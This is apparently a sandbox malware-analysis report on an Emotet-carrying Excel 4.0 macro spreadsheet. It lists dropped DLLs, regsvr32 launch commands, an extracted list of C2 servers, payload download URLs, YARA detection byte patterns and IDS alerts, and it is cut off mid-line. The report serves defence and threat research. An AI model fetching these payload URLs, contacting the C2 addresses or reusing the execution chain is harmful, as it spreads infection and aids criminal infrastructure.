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Initial Sample
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Contacted URLs
URLs from Memory and Binaries
World Map of Contacted IPs

Public IPs

General Information
Warnings

Simulations
Behavior and APIs

Joe Sandbox View / Context
IPs
Domains
ASNs
JA3 Fingerprints
Dropped Files

Created / dropped Files
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll
C:\Users\user\AppData\Local\Temp\AAA2.tmp (copy)
C:\Users\user\AppData\Local\Temp\D116.tmp (copy)
C:\Users\user\AppData\Local\Temp\~DF32588C8EB2A3FE52.TMP
C:\Users\user\AppData\Local\Temp\~DF8A90DB7077A13DA6.TMP
C:\Users\user\Desktop\6B247BB0.tmp (copy)
C:\Users\user\Desktop\BD680000
C:\Users\user\Desktop\BD680000:Zone.Identifier
C:\Users\user\Desktop\RechX2022.11.11_1045X.xls
C:\Users\user\elv2.ooocccxxx
C:\Users\user\elv3.ooocccxxx
C:\Users\user\elv4.ooocccxxx
C:\Windows\System32\HXVNCiWla\DkEI.dll (copy)
C:\Windows\System32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll (copy)
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C:\Windows\System32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll (copy)
Static File Info

General
File Icon
Static OLE Info

General
OLE File "RechX2022.11.11_1045X.xls"

Indicators
Summary
Document Summary

Streams
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 82874

General
Macro 4.0 Code

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph

Statistics
Behavior

System Behavior
Analysis Process: EXCEL.EXEPID: 2308, Parent PID: 576

General
File Activities
Registry Activities

Key Created
Key Value Created

Analysis Process: regsvr32.exePID: 2724, Parent PID: 2308
General

Analysis Process: regsvr32.exePID: 264, Parent PID: 2308
General
File Activities

Analysis Process: regsvr32.exePID: 1988, Parent PID: 264
General
Registry Activities

Key Value Created

Analysis Process: regsvr32.exePID: 1260, Parent PID: 2308
General
File Activities

Analysis Process: regsvr32.exePID: 2608, Parent PID: 1260
General
Registry Activities

Key Value Created

Analysis Process: regsvr32.exePID: 2372, Parent PID: 2308
General
File Activities

Analysis Process: regsvr32.exePID: 2148, Parent PID: 2372
General
Registry Activities

Key Value Created

Analysis Process: regsvr32.exePID: 1792, Parent PID: 1860
General
File Activities

File Created

Analysis Process: regsvr32.exePID: 316, Parent PID: 1860
General
File Activities

File Created

Analysis Process: regsvr32.exePID: 2088, Parent PID: 1860
General

Disassembly
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Windows Analysis Report 
RechX2022.11.11_1045X.xls

Overview

General Information
Sample 
Name:

RechX2022.11.11_1045X.
xls

Analysis ID: 745330

MD5: c3746ff14c90cef…

SHA1: de7ecf4c76f3753…

SHA256: 81574070b47944…

Tags: xls

Infos:

Detection

Hidden Macro 4.0,
Emotet

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Multi AV Scanner detection for subm…

Document exploit detected (drops P…

Malicious sample detected (through…

Yara detected Emotet

System process connects to networ…

Document exploit detected (creates…

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for dom…

Snort IDS alert for network traffic

Creates an autostart registry key po…

Creates multiple autostart registry k…

Office process drops PE file

Found Excel 4.0 Macro with suspici…

C2 URLs / IPs found in malware con…

Drops PE files to the user root direc…

Hides that the sample has been dow…

Document exploit detected (process…

Document exploit detected (UrlDown…

Queries the volume information (nam…

Yara signature match

Contains functionality to check if a d…

Contains functionality to query local…

Deletes files inside the Windows fol…

May sleep (evasive loops) to hinder…

Uses code obfuscation techniques (…

Creates files inside the system direc…

PE file contains sections with non-s…

Internet Provider seen in connection…

Detected potential crypto function

JA3 SSL client fingerprint seen in co…

Contains functionality to dynamicall…

Found dropped PE file which has no…

Potential document exploit detected…

HTTP GET or POST without a user …

IP address seen in connection with …

Downloads executable code via HTT…

Uses insecure TLS / SSL version fo…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 2308 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
regsvr32.exe (PID: 2724 cmdline: C:\Windows\System32\regsvr32.exe /S ..\elv1.ooocccxxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 264 cmdline: C:\Windows\System32\regsvr32.exe /S ..\elv2.ooocccxxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1988 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll" MD5:
59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 1260 cmdline: C:\Windows\System32\regsvr32.exe /S ..\elv3.ooocccxxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2608 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll" MD5:
59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 2372 cmdline: C:\Windows\System32\regsvr32.exe /S ..\elv4.ooocccxxx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2148 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HXVNCiWla\DkEI.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 1792 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\YsDsgPDHHUIQoh\TzrBJWzmduQmnx.dll MD5:

59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 316 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\LxJhBpIGuQtuqLqlk\rgLdvmpYAAMw.dll MD5:

59BCE9F07985F8A4204F4D6554CFF708)
regsvr32.exe (PID: 2088 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\HXVNCiWla\DkEI.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Process Tree

Malware Configuration

Threatname: Emotet
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{

  "C2 list": [

    "173.255.211.88:443",

    "45.63.99.23:7080",

    "182.162.143.56:443",

    "91.187.140.35:8080",

    "212.24.98.99:8080",

    "119.59.103.152:8080",

    "45.235.8.30:8080",

    "172.104.251.154:8080",

    "72.15.201.15:8080",

    "169.57.156.166:8080",

    "103.75.201.2:443",

    "213.239.212.5:443",

    "164.90.222.65:443",

    "201.94.166.162:443",

    "94.23.45.86:4143",

    "183.111.227.137:8080",

    "186.194.240.217:443",

    "107.170.39.149:8080",

    "147.139.166.154:8080",

    "5.135.159.50:443",

    "206.189.28.199:8080",

    "104.168.155.143:8080",

    "129.232.188.93:443",

    "82.223.21.224:8080",

    "103.43.75.120:443",

    "103.132.242.26:8080",

    "139.59.56.73:8080",

    "164.68.99.3:8080",

    "202.129.205.3:8080",

    "167.172.199.165:8080",

    "110.232.117.186:8080",

    "209.97.163.214:443",

    "167.172.253.162:8080",

    "1.234.2.232:8080",

    "159.65.88.10:8080",

    "95.217.221.146:8080",

    "153.92.5.27:8080",

    "91.207.28.33:8080",

    "188.44.20.25:443",

    "153.126.146.25:7080",

    "163.44.196.120:8080",

    "172.105.226.75:8080",

    "115.68.227.76:8080",

    "159.65.140.115:443",

    "139.59.126.41:443",

    "197.242.150.244:8080",

    "45.176.232.124:443",

    "45.118.115.99:8080",

    "149.56.131.28:8080",

    "79.137.35.198:8080",

    "173.212.193.249:8080",

    "160.16.142.56:8080",

    "159.89.202.34:443",

    "185.4.135.165:8080"

  ],

  "Public Key": [

    "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj59L5kaPsAAIg=",

    "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2Dr9kaPsAAJA="

  ]

}

Source Rule Description Author Strings

RechX2022.11.11_1045X.xls SUSP_Excel4Macr
o_AutoOpen

Detects Excel4 
macro use with 
auto open / close

John Lambert 
@JohnLaTwC

0x0:$header_docf: D0 CF 11 E0
0x146aa:$s1: Excel
0x1573f:$s1: Excel
0x35d0:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 0
0 00 00 00 00 00 00 00 01 3A

Source Rule Description Author Strings

Yara Signatures

Initial Sample

Dropped Files

Copyright Joe Security LLC 2022 Page 5 of 40



C:\Users\user\Desktop\RechX2022.11.11_1045X.xls SUSP_Excel4Macr
o_AutoOpen

Detects Excel4 
macro use with 
auto open / close

John Lambert 
@JohnLaTwC

0x0:$header_docf: D0 CF 11 E0
0x146aa:$s1: Excel
0x1573f:$s1: Excel
0x35d0:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 0
0 00 00 00 00 00 00 00 01 3A

C:\Users\user\Desktop\BD680000 SUSP_Excel4Macr
o_AutoOpen

Detects Excel4 
macro use with 
auto open / close

John Lambert 
@JohnLaTwC

0x0:$header_docf: D0 CF 11 E0
0x148aa:$s1: Excel
0x1593c:$s1: Excel
0x3381:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 0
0 00 00 00 00 00 00 00 01 3A

C:\Users\user\Desktop\BD680000 JoeSecurity_XlsWi
thMacro4

Yara detected Xls 
With Macro 4.0

Joe Security

Source Rule Description Author Strings

Source Rule Description Author Strings

00000007.00000002.1379999865.00000000001AA000.0000
0004.00000020.00020000.00000000.sdmp

JoeSecurity_Emot
et_3

Yara detected 
Emotet

Joe Security

00000007.00000002.1381010600.0000000180001000.0000
0020.00001000.00020000.00000000.sdmp

JoeSecurity_Emot
et_1

Yara detected 
Emotet

Joe Security

00000007.00000002.1381010600.0000000180001000.0000
0020.00001000.00020000.00000000.sdmp

Windows_Trojan_
Emotet_db7d33fa

unknown unknown 0x171c2:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x2a90c:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x24ac0:$chunk_1: 8B C7 41 0F B7 4C 45 00 41 8B 1C 8
C 48 03 DD 48 3B DE 72 1B
0x1b568:$chunk_2: 48 8B C4 48 89 48 08 48 89 50 10 4
C 89 40 18 4C 89 48 20 C3
0x216e4:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 18 40 0F 95 C7 8B C7 49 8B 7B 20 
49 8B E3 5D C3
0x2ae01:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 20 40 0F 95 C7 8B C7 49 8B 7B 28 
49 8B E3 5D C3
0x24ad4:$chunk_6: 43 8B 84 FE 8C 00 00 00 48 03 C6 4
8 3B D8 73 0B

00000009.00000002.1380113365.000000000028A000.0000
0004.00000020.00020000.00000000.sdmp

JoeSecurity_Emot
et_3

Yara detected 
Emotet

Joe Security

0000000A.00000002.1109090609.00000000003C0000.0000
0040.00001000.00020000.00000000.sdmp

JoeSecurity_Emot
et_1

Yara detected 
Emotet

Joe Security

Click to see the 35 entries

Source Rule Description Author Strings

8.2.regsvr32.exe.1ef0000.0.raw.unpack JoeSecurity_Emot
et_1

Yara detected 
Emotet

Joe Security

8.2.regsvr32.exe.1ef0000.0.raw.unpack Windows_Trojan_
Emotet_db7d33fa

unknown unknown 0x175c2:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x2ad0c:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x24ec0:$chunk_1: 8B C7 41 0F B7 4C 45 00 41 8B 1C 8
C 48 03 DD 48 3B DE 72 1B
0x1b968:$chunk_2: 48 8B C4 48 89 48 08 48 89 50 10 4
C 89 40 18 4C 89 48 20 C3
0x21ae4:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 18 40 0F 95 C7 8B C7 49 8B 7B 20 
49 8B E3 5D C3
0x2b201:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 20 40 0F 95 C7 8B C7 49 8B 7B 28 
49 8B E3 5D C3
0x24ed4:$chunk_6: 43 8B 84 FE 8C 00 00 00 48 03 C6 4
8 3B D8 73 0B

12.2.regsvr32.exe.3b0000.0.unpack JoeSecurity_Emot
et_1

Yara detected 
Emotet

Joe Security

Memory Dumps

Unpacked PEs

Copyright Joe Security LLC 2022 Page 6 of 40



12.2.regsvr32.exe.3b0000.0.unpack Windows_Trojan_
Emotet_db7d33fa

unknown unknown 0x169c2:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x2a10c:$chunk_0: 4C 8D 9C 24 80 00 00 00 8B C3 49 8
B 5B 10 49 8B 73 18 49 8B 7B 20 49 8B E3 5D C3
0x242c0:$chunk_1: 8B C7 41 0F B7 4C 45 00 41 8B 1C 8
C 48 03 DD 48 3B DE 72 1B
0x1ad68:$chunk_2: 48 8B C4 48 89 48 08 48 89 50 10 4
C 89 40 18 4C 89 48 20 C3
0x20ee4:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 18 40 0F 95 C7 8B C7 49 8B 7B 20 
49 8B E3 5D C3
0x2a601:$chunk_4: 48 39 3B 4C 8D 9C 24 80 00 00 00 4
9 8B 5B 10 49 8B 73 20 40 0F 95 C7 8B C7 49 8B 7B 28 
49 8B E3 5D C3
0x242d4:$chunk_6: 43 8B 84 FE 8C 00 00 00 48 03 C6 4
8 3B D8 73 0B

5.2.regsvr32.exe.3b0000.0.raw.unpack JoeSecurity_Emot
et_1

Yara detected 
Emotet

Joe Security

Click to see the 31 entries

Source Rule Description Author Strings

⊘ No Sigma rule has matched

Timestamp: 192.168.2.22173.255.211.88491774432404314 11/14/22-08:06:22.569452

SID: 2404314

Source Port: 49177

Destination Port: 443

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.22182.162.143.56491814432404316 11/14/22-08:06:53.932625

SID: 2404316

Source Port: 49181

Destination Port: 443

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.2245.63.99.234917970802404334 11/14/22-08:06:37.940985

SID: 2404334

Source Port: 49179

Destination Port: 7080

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.2.228.8.8.850134532023883 11/14/22-08:05:51.626960

SID: 2023883

Source Port: 50134

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

Sigma Signatures

Snort Signatures
ET CNC Feodo Tracker Reported CnC Server TCP group 8 - Source IP: 192.168.2.22 - Destination IP: 173.255.211.88

ET CNC Feodo Tracker Reported CnC Server TCP group 9 - Source IP: 192.168.2.22 - Destination IP: 182.162.143.56

ET CNC Feodo Tracker Reported CnC Server TCP group 18 - Source IP: 192.168.2.22 - Destination IP: 45.63.99.23

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.22 - Destination IP: 8.8.8.8

Copyright Joe Security LLC 2022 Page 7 of 40



AV Detection

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Joe Sandbox Signatures

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Document exploit detected (drops PE files)

Document exploit detected (creates forbidden files)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

C2 URLs / IPs found in malware configuration

Yara detected Emotet

Malicious sample detected (through community Yara rule)

Found malicious Excel 4.0 Macro

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Creates an autostart registry key pointing to binary in C:\Windows

Creates multiple autostart registry keys

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

System process connects to network (likely due to code injection or exploit)

Yara detected Emotet

Mitre Att&ck Matrix
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Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

2
Scripting

2 1
Registry
Run Keys /
Startup
Folder

1 1 1
Process
Injection

1 4 1
Masqueradi
ng

OS
Credential
Dumping

1
System
Time
Discovery

Remote
Services

1
Archive
Collected
Data

Exfiltration
Over Other
Network
Medium

1 1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

1
Native API

Boot or
Logon
Initializatio
n Scripts

2 1
Registry
Run Keys /
Startup
Folder

1
Virtualizatio
n/Sandbox
Evasion

LSASS
Memory

1 1
Security
Software
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

1
Non-
Standard
Port

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

4 3
Exploitation
for Client
Execution

Logon
Script
(Windows)

Logon
Script
(Windows)

1 1 1
Process
Injection

Security
Account
Manager

1
Virtualizatio
n/Sandbox
Evasion

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

1 4
Ingress
Tool
Transfer

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

2
Scripting

NTDS 2
Process
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

4
Non-
Application
Layer
Protocol

SIM Card
Swap

Carrier
Billing
Fraud

Cloud
Accounts

Cron Network
Logon
Script

Network
Logon
Script

1
Hidden
Files and
Directories

LSA
Secrets

2
File and
Directory
Discovery

SSH Keylogging Data
Transfer
Size Limits

1 2 5
Application
Layer
Protocol

Manipulate
Device
Communic
ation

Manipulate
App Store
Rankings
or Ratings

Replication
Through
Removable
Media

Launchd Rc.commo
n

Rc.commo
n

1
Obfuscated
Files or
Information

Cached
Domain
Credentials

2 6
System
Information
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communic
ation

Jamming or
Denial of
Service

Abuse
Accessibilit
y Features

External
Remote
Services

Scheduled
Task

Startup
Items

Startup
Items

1
Regsvr32

DCSync Network
Sniffing

Windows
Remote
Manageme
nt

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-
Fi Access
Points

Data
Encrypted
for Impact

Drive-by
Compromis
e

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

1
File
Deletion

Proc
Filesystem

Network
Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer
Protocol

Downgrade
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Behavior Graph
ID: 745330

Sample: RechX2022.11.11_1045X.xls
Startdate: 14/11/2022
Architecture: WINDOWS
Score: 100

129.232.188.93

xneeloZA
South Africa

45.235.8.30

WIKINETTELECOMUNICACOESBR
Brazil

49 other IPs or domains

Snort IDS alert for
network traffic

Multi AV Scanner detection
for domain / URL

Malicious sample detected
(through community Yara

rule)
10 other signatures

EXCEL.EXE

30 27

        started       

regsvr32.exe

2

        started       

regsvr32.exe

        started       

regsvr32.exe

2

        started       

copunupo.ac.zm

41.63.0.22, 443, 49175
ZAMRENZM

Zambia

datie-tw.com

175.98.167.165, 443, 49173
TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi

Taiwan; Republic of China (ROC)

2 other IPs or domains

C:\Users\user\elv4.ooocccxxx, PE32+

dropped

C:\Users\user\elv3.ooocccxxx, PE32+

dropped

C:\Users\user\elv2.ooocccxxx, PE32+

dropped

4 other malicious files

dropped

Document exploit detected
(creates forbidden files)

Document exploit detected
(UrlDownloadToFile)

regsvr32.exe

2

        started       

regsvr32.exe

2

        started       

regsvr32.exe

2

        started       

regsvr32.exe

        started       C:\Users\user\AppData\...\D116.tmp (copy), PE32+

dropped

System process connects
to network (likely due
to code injection or

exploit)

C:\Users\user\AppData\...\AAA2.tmp (copy), PE32+

dropped

C:\Windows\...\TzrBJWzmduQmnx.dll (copy), PE32+

dropped

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

regsvr32.exe

1

        started       

C:\Windows\System32\...\DkEI.dll (copy), PE32+

dropped

regsvr32.exe

1

        started       

C:\Windows\...\rgLdvmpYAAMw.dll (copy), PE32+

dropped

regsvr32.exe

1

        started       

173.255.211.88, 443, 49177, 49178

LINODE-APLinodeLLCUS
United States

182.162.143.56, 443, 49181, 49182

LGDACOMLGDACOMCorporationKR
Korea Republic of

45.63.99.23, 7080

AS-CHOOPAUS
United States

Creates multiple autostart
registry keys

Creates an autostart
registry key pointing

to binary in C:\Windows

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

RechX2022.11.11_1045X.xls 61% Virustotal Browse

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JW
C\2yXcjy57oZTTUNweDidCGUY[1].dll

10% Metadefender Browse

Source Detection Scanner Label Link Download

11.2.regsvr32.exe.140000.0.unpack 100% Avira HEUR/AGEN.12
15461

9.2.regsvr32.exe.1b0000.0.unpack 100% Avira HEUR/AGEN.12
15461

5.2.regsvr32.exe.3b0000.0.unpack 100% Avira HEUR/AGEN.12
15461

10.2.regsvr32.exe.3c0000.0.unpack 100% Avira HEUR/AGEN.12
15461

15.2.regsvr32.exe.2d0000.0.unpack 100% Avira HEUR/AGEN.12
15461

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Download File

Download File

Download File

Download File

Download File

Copyright Joe Security LLC 2022 Page 11 of 40

https://www.virustotal.com/gui/file/81574070b47944ba4904a6e419a25eb1825a3a6cba5b8be896f0144e11802d31/detection/f-81574070b47944ba4904a6e419a25eb1825a3a6cba5b8be896f0144e11802d31-1668240390
https://www.metadefender.com/#!/results/file/bzIyMTExMzhSbndmSTlQS0RmUmkzUlVxWGI_mdaas/regular/analysis


12.2.regsvr32.exe.3b0000.0.unpack 100% Avira HEUR/AGEN.12
15461

13.2.regsvr32.exe.4b0000.0.unpack 100% Avira HEUR/AGEN.12
15461

7.2.regsvr32.exe.4c0000.0.unpack 100% Avira HEUR/AGEN.12
15461

8.2.regsvr32.exe.1ef0000.0.unpack 100% Avira HEUR/AGEN.12
15461

Source Detection Scanner Label Link Download

Source Detection Scanner Label Link

sbm.xinmoshiwang.com 13% Virustotal Browse

datie-tw.com 10% Virustotal Browse

copunupo.ac.zm 18% Virustotal Browse

Source Detection Scanner Label Link

crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe

ocsp.entrust.net03 0% URL Reputation safe

crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe

www.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe

ocsp.entrust.net0D 0% URL Reputation safe

https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/ 100% Avira URL Cloud malware

https://173.255.211.88/owewlpmufrqxtxj/ 0% Avira URL Cloud safe

https://182.162. 0% Avira URL Cloud safe

https://182.162.143.56/acqrviy/djjybechrofav/ 100% Avira URL Cloud malware

https://182.162.143.56/qhecxbnpzjg/ 100% Avira URL Cloud malware

https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/B 100% Avira URL Cloud malware

https://182.162.143.56/urupsapzfmrxqv/ 100% Avira URL Cloud malware

https://182.162.143.56/foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ 100% Avira URL Cloud malware

https://182.162.143.56/urupsapzfmrxqv/zW 100% Avira URL Cloud malware

https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/ 100% Avira URL Cloud malware

ly.yjlianyi.top/wp-admin/4cChao/ 100% Avira URL Cloud malware

https://copunupo.ac.zm/cgi-bin/WFFcGx/ 100% Avira URL Cloud malware

sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/ 100% Avira URL Cloud malware

Name IP Active Malicious Antivirus Detection Reputation

sbm.xinmoshiwang.com 47.92.35.35 true false 13%, Virustotal, Browse unknown

datie-tw.com 175.98.167.165 true false 10%, Virustotal, Browse unknown

copunupo.ac.zm 41.63.0.22 true false 18%, Virustotal, Browse unknown

ly.yjlianyi.top 81.68.152.197 true false unknown

Name Malicious Antivirus Detection Reputation

https://182.162.143.56/qhecxbnpzjg/ true Avira URL Cloud: malware unknown

sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/ true Avira URL Cloud: malware unknown

https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/ true Avira URL Cloud: malware unknown

ly.yjlianyi.top/wp-admin/4cChao/ false Avira URL Cloud: malware unknown

https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/ false Avira URL Cloud: malware unknown

https://copunupo.ac.zm/cgi-bin/WFFcGx/ false Avira URL Cloud: malware unknown

https://182.162.143.56/acqrviy/djjybechrofav/ true Avira URL Cloud: malware unknown

https://182.162.143.56/foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ true Avira URL Cloud: malware unknown

https://182.162.143.56/urupsapzfmrxqv/ true Avira URL Cloud: malware unknown

Download File

Download File

Download File

Download File

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/6fac14d64471dc9f20a80d65c1264f569fc9cf52f458557a68895cc21c0801a9/detection/u-6fac14d64471dc9f20a80d65c1264f569fc9cf52f458557a68895cc21c0801a9-1668212649
https://www.virustotal.com/gui/url/5c641bb97103940933370d7110a5d1cad30f63dee47c40637558877b5eeb11dd/detection/u-5c641bb97103940933370d7110a5d1cad30f63dee47c40637558877b5eeb11dd-1668212656
https://www.virustotal.com/gui/url/a0403d8be7e0cb75a336b4b9dadbbe05f05e2ba8e0a09e362ccd1b1a498dda08/detection/u-a0403d8be7e0cb75a336b4b9dadbbe05f05e2ba8e0a09e362ccd1b1a498dda08-1668212645
https://www.virustotal.com/gui/url/6fac14d64471dc9f20a80d65c1264f569fc9cf52f458557a68895cc21c0801a9/detection/u-6fac14d64471dc9f20a80d65c1264f569fc9cf52f458557a68895cc21c0801a9-1668212649
https://www.virustotal.com/gui/url/5c641bb97103940933370d7110a5d1cad30f63dee47c40637558877b5eeb11dd/detection/u-5c641bb97103940933370d7110a5d1cad30f63dee47c40637558877b5eeb11dd-1668212656
https://www.virustotal.com/gui/url/a0403d8be7e0cb75a336b4b9dadbbe05f05e2ba8e0a09e362ccd1b1a498dda08/detection/u-a0403d8be7e0cb75a336b4b9dadbbe05f05e2ba8e0a09e362ccd1b1a498dda08-1668212645


Name Source Malicious Antivirus Detection Reputation

https://182.162. regsvr32.exe, 00000007.00000002.13801653
65.0000000000201000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0009.00000002.1380284898.00000000002E800
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.1380275886.000
0000000368000.00000004.00000020.00020000
.00000000.sdmp

false Avira URL Cloud: safe low

crl.pkioverheid.nl/DomOvLatestCRL.crl0 regsvr32.exe, 00000007.00000003.10906573
77.0000000000207000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0007.00000002.1380176891.000000000020700
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000007.00000003.1090725491.000
0000000216000.00000004.00000020.00020000
.00000000.sdmp, regsvr32.exe, 00000009.0
0000003.1099007620.00000000002E8000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000009.00000002.1380284898
.00000000002E8000.00000004.00000020.0002
0000.00000000.sdmp, regsvr32.exe, 000000
0B.00000003.1257773721.0000000000384000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000B.00000002.138033
2055.0000000000384000.00000004.00000020.
00020000.00000000.sdmp, regsvr32.exe, 00
00000C.00000003.1268690034.000000000025E
000.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 0000000C.00000003.1268612065.0
